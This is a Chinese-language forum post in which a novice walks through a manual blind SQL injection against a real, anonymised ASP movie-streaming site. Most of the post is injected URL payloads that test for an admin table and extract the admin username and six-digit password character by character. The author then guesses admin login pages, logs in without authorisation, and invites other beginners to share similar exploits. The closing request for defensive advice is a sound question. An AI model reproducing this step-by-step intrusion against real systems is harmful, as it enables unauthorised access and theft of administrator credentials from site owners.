首先引用一下教程裡的話:“SQL injection可以說是一種漏洞,也可以說成是一種攻擊方法,程式中的變數處理不當,對使用者提交的資料過濾不足,都可能產生這個漏洞,而攻擊原理就是利用使用者提交或可修改的資料,把想要的SQL語句插入到系統實際SQL語句中,輕則獲得敏感的資訊,重則控制伺服器。SQL injection並不緊緊侷限在Mssql資料庫中,Access、Mysql、Oracle、Sybase都可以進行SQL injection攻擊。 在大多數ASP站點中,我們並不知道其程式程式碼,靠任何掃描器也不可能發現SQL injection漏洞,這時就要靠手工檢測了,由於我們執行SQL語句要用到單引號、分號、逗號、冒號和“--”,所以我們就在可修改的URL後加上以上符號,或在表單中的文字框加上這些符號 ”
尋找目標,我尋找到了,這裡就用www.xxx.com代替吧。
開啟一個電影地址,www.xxx.com/film/show.asp?id=271
測試一下www.xxx.com/film/show.asp?id=271 and 1=1
開啟了 這步應該是測試可不可以用SQL隱碼攻擊的一個驗證吧,(不過我試的那個網站是可以SQL隱碼攻擊的,我到不知道不可以SQL隱碼攻擊會返回什麼值)
www.xxx.com/film/show.asp?id=271and 1=2沒開啟(在教程裡面這個寫成了_blank>http://www.bofei.net/film/show.asp?id=271 adn 1=2 希望管理員如果看到的話請改一下~~)
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin)這一步是檢視是否存在ADMIN列表的,測試以後開啟,說明ADMIN列表存在
根據教程測試,測試密碼,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)>5) 打不開,連線錯誤,後來跟教程一樣試了8,結果也是錯誤,後來直接圖方便把8改成了6,嘿嘿,還是錯誤,為啥?因為是>而不是=,後來試了幾次都沒有開啟。鬱悶了,想,是在哪出錯的?後來從新看了一次教程,並把命令粘到了文字文件做比較,哦,原來應該是=,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)=6)
試了一下=以後,結果開啟了,說明ADMIN的密碼=6位 繼續下一步。
猜測使用者名稱
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')
直接套這步,沒開啟,後來苦思N久, 沒看懂教程裡面的意思,哎,先放著,繼續下一步。
尋找站長的名字,當時還是沒大看懂這句,網站上N多地方都沒有網站站長的名字之類的,繼續下一步。
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,6)=''13月32日'')
我試了次,當然打不開,2個站的站點ADMIN怎麼能一樣內,嘿嘿。當時沒有理解這個的意思,我又繼續了下一步。我雖然不理解這句的意思,但是我稍微知道,13月32日,就是站長的ID,(username,6)就是站長的名字=6位長的意思。(不知道這樣理解對不對呀如果不對請指出)
猜測密碼,www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')
這步他直接猜測完了,他的密碼是6位數,然後密碼是100200,這步的步驟。
第1步應該猜測第1位數的密碼,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,1)=''1'')
''1'' 應該把這個''''號裡的1,從0-9,A-Z試一次,如果失敗,會打不開,直到成功了,就會正開啟,而且沒有錯誤提示。這句我只能理解括號裡面的,(password,1)=''1'')這句理解成: 密碼的第1位數=1
試完第1個密碼該試第2個密碼了,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,2)=''10'')
因為我已經站點第1個密碼是1了所以不用動第1位數了,這次也是從0-9,A-Z試一次,這步完了就該第3步了,
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,3)=''100'')
依次第6步就應該是
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)=''100200'')
因為先前已經知道他的密碼長度是6位了,然後他的管理員ID也依照這個方法來查
www.xxx.com/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)=''1'')
(username,1)=''1'') 這句理解成:第1個名字的是:1
依次查出管理員名稱,
pass:如果管理員名字改成漢字,那半年也猜不錯吧?不知道能不能用漢字?:(
試出管理員密碼,然後試登陸頁面,3個地址
www.xxx.com/film/adminlogin.asp
www.xxx.com/film/login.asp
www.xxx.com/film/admin/login.asp
大概會應該有一個能進入的,然後用你剛才查到的管理員ID和PASSWORD進入。
好了,可以隨意瀏覽了,我進入了一下,沒什麼好看的,我自己也有自己的站點,我要想看,自己下一個看算了,而且我和這個網站的管理員關係很好,如果我想看裡面的電影,他會傳到開設到我帳戶的FTP裡,然後我自己下載就可以看了,所以我已經把這個漏洞告訴他了,剩下的就是他們的辦法了,由於偶還是菜菜,偶不會清楚自己的PP,55,我也很誠實的告訴了他,而且我也沒動裡面任何客戶的資料,沒新增任何一個客戶的時間卡,我想我這個善意的舉動,他們不會對我做什麼懲罰吧?(第1次做這個事,不知道能不能算的上hacker的舉動,我沒用任何工具,全靠手慢慢猜的)如果他們懲罰我我可就完了,這個VOD視訊網站的上頭,就是我們當地的寬頻公司,我們這裡只有電信和網通2家,電信是剛起家的接入的地方比較少,網通給我停網了,恐怕以後我就不能在家上網了,555。
這個方法,現在能成功的ASP電影網站恐怕很少了,因為我們這裡相對網路技術比較落後一些,他們的網路安全觀念比較淡薄,所以這次還是會很順利的進入了他們的電影網站,我想如果他們進入資料庫裡,類似做論壇一樣,隨便改幾個資料庫中的連線,就可以直接解決這個問題了,起碼你沒有他伺服器的許可權,你就不知道他的ADMIN管理進口在哪。
也希望各位高手說一下,就當幫小的一個忙,如果象我說的那種情況,有什麼方法可以阻止別人象我這樣利用SQL攻擊而獲得ADMIN帳號?會的請跟貼說一下,謝謝了。(別叫人整個ASP都刪掉喲)
希望各位高手大大都把自己第1次覺得自己做的成功的事,發上來,對於新手的學習,會起到很大的作用的。